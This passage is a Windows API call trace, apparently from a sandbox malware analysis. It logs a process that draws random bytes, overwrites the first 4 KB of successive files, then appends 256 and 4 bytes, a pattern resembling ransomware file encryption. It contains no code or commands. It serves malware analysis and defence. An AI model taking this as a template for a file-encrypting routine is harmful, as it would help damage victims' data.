returned 0x331ef10 [0083.451] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0083.451] GetProcessHeap () returned 0x540000 [0083.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0083.451] ReadFile (in: hFile=0x85c, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0083.500] SetFilePointerEx (in: hFile=0x85c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.500] WriteFile (in: hFile=0x85c, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0083.500] GetProcessHeap () returned 0x540000 [0083.500] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0083.500] GetProcessHeap () returned 0x540000 [0083.500] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.500] GetProcessHeap () returned 0x540000 [0083.500] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0083.500] GetProcessHeap () returned 0x540000 [0083.500] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.500] GetProcessHeap () returned 0x540000 [0083.500] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0083.500] GetProcessHeap () returned 0x540000 [0083.500] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.500] GetProcessHeap () returned 0x540000 [0083.500] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.500] GetProcessHeap () returned 0x540000 [0083.500] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.500] GetProcessHeap () returned 0x540000 [0083.500] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.500] GetProcessHeap () returned 0x540000 [0083.500] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.500] GetProcessHeap () returned 0x540000 [0083.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.501] GetProcessHeap () returned 0x540000 [0083.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.501] GetProcessHeap () returned 0x540000 [0083.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.501] GetProcessHeap () returned 0x540000 [0083.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.501] GetProcessHeap () returned 0x540000 [0083.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.501] GetProcessHeap () returned 0x540000 [0083.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.501] GetProcessHeap () returned 0x540000 [0083.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.501] GetProcessHeap () returned 0x540000 [0083.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.501] GetProcessHeap () returned 0x540000 [0083.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.501] GetProcessHeap () returned 0x540000 [0083.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.501] GetProcessHeap () returned 0x540000 [0083.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.501] GetProcessHeap () returned 0x540000 [0083.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.501] GetProcessHeap () returned 0x540000 [0083.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.501] GetProcessHeap () returned 0x540000 [0083.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.501] GetProcessHeap () returned 0x540000 [0083.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.501] GetProcessHeap () returned 0x540000 [0083.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.501] GetProcessHeap () returned 0x540000 [0083.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.501] GetProcessHeap () returned 0x540000 [0083.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.501] GetProcessHeap () returned 0x540000 [0083.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.501] GetProcessHeap () returned 0x540000 [0083.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.501] GetProcessHeap () returned 0x540000 [0083.502] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.502] GetProcessHeap () returned 0x540000 [0083.502] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.502] GetProcessHeap () returned 0x540000 [0083.502] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.502] GetProcessHeap () returned 0x540000 [0083.502] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.502] GetProcessHeap () returned 0x540000 [0083.502] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.502] GetProcessHeap () returned 0x540000 [0083.502] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.502] GetProcessHeap () returned 0x540000 [0083.502] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.502] GetProcessHeap () returned 0x540000 [0083.502] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.502] GetProcessHeap () returned 0x540000 [0083.502] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0083.502] GetProcessHeap () returned 0x540000 [0083.502] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.502] GetProcessHeap () returned 0x540000 [0083.502] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0083.502] GetProcessHeap () returned 0x540000 [0083.502] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0083.502] GetProcessHeap () returned 0x540000 [0083.502] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0083.502] GetProcessHeap () returned 0x540000 [0083.502] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0083.502] GetProcessHeap () returned 0x540000 [0083.502] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0083.502] GetProcessHeap () returned 0x540000 [0083.502] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0083.502] GetProcessHeap () returned 0x540000 [0083.502] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.510] GetProcessHeap () returned 0x540000 [0083.510] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0083.510] GetProcessHeap () returned 0x540000 [0083.510] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.510] GetProcessHeap () returned 0x540000 [0083.510] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.511] GetProcessHeap () returned 0x540000 [0083.511] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.511] GetProcessHeap () returned 0x540000 [0083.511] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.511] GetProcessHeap () returned 0x540000 [0083.511] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.511] GetProcessHeap () returned 0x540000 [0083.511] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.511] GetProcessHeap () returned 0x540000 [0083.511] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.511] GetProcessHeap () returned 0x540000 [0083.511] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.511] GetProcessHeap () returned 0x540000 [0083.511] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.511] GetProcessHeap () returned 0x540000 [0083.511] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.511] GetProcessHeap () returned 0x540000 [0083.511] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.511] GetProcessHeap () returned 0x540000 [0083.511] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.511] GetProcessHeap () returned 0x540000 [0083.511] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.511] GetProcessHeap () returned 0x540000 [0083.511] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.511] GetProcessHeap () returned 0x540000 [0083.511] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.511] GetProcessHeap () returned 0x540000 [0083.511] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.511] GetProcessHeap () returned 0x540000 [0083.512] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.512] GetProcessHeap () returned 0x540000 [0083.512] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.512] GetProcessHeap () returned 0x540000 [0083.512] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.512] GetProcessHeap () returned 0x540000 [0083.512] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.512] GetProcessHeap () returned 0x540000 [0083.512] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.512] GetProcessHeap () returned 0x540000 [0083.512] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.512] GetProcessHeap () returned 0x540000 [0083.512] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.512] GetProcessHeap () returned 0x540000 [0083.512] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.512] GetProcessHeap () returned 0x540000 [0083.512] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0083.512] GetProcessHeap () returned 0x540000 [0083.512] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.512] GetProcessHeap () returned 0x540000 [0083.512] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0083.512] GetProcessHeap () returned 0x540000 [0083.512] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0083.512] GetProcessHeap () returned 0x540000 [0083.512] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.512] GetProcessHeap () returned 0x540000 [0083.512] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0083.512] SetFilePointerEx (in: hFile=0x85c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.512] WriteFile (in: hFile=0x85c, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0083.513] WriteFile (in: hFile=0x85c, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0083.513] GetProcessHeap () returned 0x540000 [0083.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0083.513] GetProcessHeap () returned 0x540000 [0083.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0083.513] GetProcessHeap () returned 0x540000 [0083.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0083.513] CloseHandle (hObject=0x85c) returned 1 [0083.515] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 57 [0083.515] SetFilePointerEx (in: hFile=0x860, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.515] ReadFile (in: hFile=0x860, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0083.515] SetFilePointerEx (in: hFile=0x860, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.515] GetProcessHeap () returned 0x540000 [0083.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0083.515] GetProcessHeap () returned 0x540000 [0083.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0083.515] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0083.515] GetProcessHeap () returned 0x540000 [0083.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0083.515] ReadFile (in: hFile=0x860, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0083.859] SetFilePointerEx (in: hFile=0x860, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.859] WriteFile (in: hFile=0x860, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0083.859] GetProcessHeap () returned 0x540000 [0083.859] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0083.859] GetProcessHeap () returned 0x540000 [0083.859] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.859] GetProcessHeap () returned 0x540000 [0083.859] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0083.859] GetProcessHeap () returned 0x540000 [0083.859] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.859] GetProcessHeap () returned 0x540000 [0083.859] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0083.859] GetProcessHeap () returned 0x540000 [0083.860] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.860] GetProcessHeap () returned 0x540000 [0083.860] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.860] GetProcessHeap () returned 0x540000 [0083.860] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.860] GetProcessHeap () returned 0x540000 [0083.860] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.860] GetProcessHeap () returned 0x540000 [0083.860] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.860] GetProcessHeap () returned 0x540000 [0083.860] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.860] GetProcessHeap () returned 0x540000 [0083.860] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.860] GetProcessHeap () returned 0x540000 [0083.860] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.860] GetProcessHeap () returned 0x540000 [0083.860] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.860] GetProcessHeap () returned 0x540000 [0083.860] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.860] GetProcessHeap () returned 0x540000 [0083.860] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.860] GetProcessHeap () returned 0x540000 [0083.860] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.860] GetProcessHeap () returned 0x540000 [0083.860] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.860] GetProcessHeap () returned 0x540000 [0083.860] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.860] GetProcessHeap () returned 0x540000 [0083.860] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.860] GetProcessHeap () returned 0x540000 [0083.860] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.860] GetProcessHeap () returned 0x540000 [0083.860] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.860] GetProcessHeap () returned 0x540000 [0083.860] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.860] GetProcessHeap () returned 0x540000 [0083.860] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.860] GetProcessHeap () returned 0x540000 [0083.860] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.860] GetProcessHeap () returned 0x540000 [0083.861] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.861] GetProcessHeap () returned 0x540000 [0083.861] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.861] GetProcessHeap () returned 0x540000 [0083.861] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.861] GetProcessHeap () returned 0x540000 [0083.861] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.861] GetProcessHeap () returned 0x540000 [0083.861] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.861] GetProcessHeap () returned 0x540000 [0083.861] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.861] GetProcessHeap () returned 0x540000 [0083.861] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.861] GetProcessHeap () returned 0x540000 [0083.861] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.861] GetProcessHeap () returned 0x540000 [0083.861] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.861] GetProcessHeap () returned 0x540000 [0083.861] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.861] GetProcessHeap () returned 0x540000 [0083.861] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.861] GetProcessHeap () returned 0x540000 [0083.861] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.861] GetProcessHeap () returned 0x540000 [0083.861] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.861] GetProcessHeap () returned 0x540000 [0083.861] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0083.861] GetProcessHeap () returned 0x540000 [0083.861] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.861] GetProcessHeap () returned 0x540000 [0083.861] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0083.861] GetProcessHeap () returned 0x540000 [0083.861] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0083.862] GetProcessHeap () returned 0x540000 [0083.862] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0083.862] GetProcessHeap () returned 0x540000 [0083.862] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0083.862] GetProcessHeap () returned 0x540000 [0083.862] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0083.862] GetProcessHeap () returned 0x540000 [0083.862] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0083.862] GetProcessHeap () returned 0x540000 [0083.862] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.862] GetProcessHeap () returned 0x540000 [0083.862] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0083.862] GetProcessHeap () returned 0x540000 [0083.862] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.862] GetProcessHeap () returned 0x540000 [0083.862] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.862] GetProcessHeap () returned 0x540000 [0083.862] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.862] GetProcessHeap () returned 0x540000 [0083.862] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.862] GetProcessHeap () returned 0x540000 [0083.862] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.862] GetProcessHeap () returned 0x540000 [0083.862] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.862] GetProcessHeap () returned 0x540000 [0083.862] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.862] GetProcessHeap () returned 0x540000 [0083.862] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.862] GetProcessHeap () returned 0x540000 [0083.862] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.862] GetProcessHeap () returned 0x540000 [0083.862] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.863] GetProcessHeap () returned 0x540000 [0083.863] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.863] GetProcessHeap () returned 0x540000 [0083.863] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.863] GetProcessHeap () returned 0x540000 [0083.863] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.863] GetProcessHeap () returned 0x540000 [0083.863] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.863] GetProcessHeap () returned 0x540000 [0083.863] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.863] GetProcessHeap () returned 0x540000 [0083.863] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.863] GetProcessHeap () returned 0x540000 [0083.863] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.863] GetProcessHeap () returned 0x540000 [0083.863] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.863] GetProcessHeap () returned 0x540000 [0083.863] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.863] GetProcessHeap () returned 0x540000 [0083.863] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.863] GetProcessHeap () returned 0x540000 [0083.863] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.863] GetProcessHeap () returned 0x540000 [0083.863] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.863] GetProcessHeap () returned 0x540000 [0083.863] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.863] GetProcessHeap () returned 0x540000 [0083.863] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.863] GetProcessHeap () returned 0x540000 [0083.863] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0083.864] GetProcessHeap () returned 0x540000 [0083.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.864] GetProcessHeap () returned 0x540000 [0083.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0083.864] GetProcessHeap () returned 0x540000 [0083.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0083.864] GetProcessHeap () returned 0x540000 [0083.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: 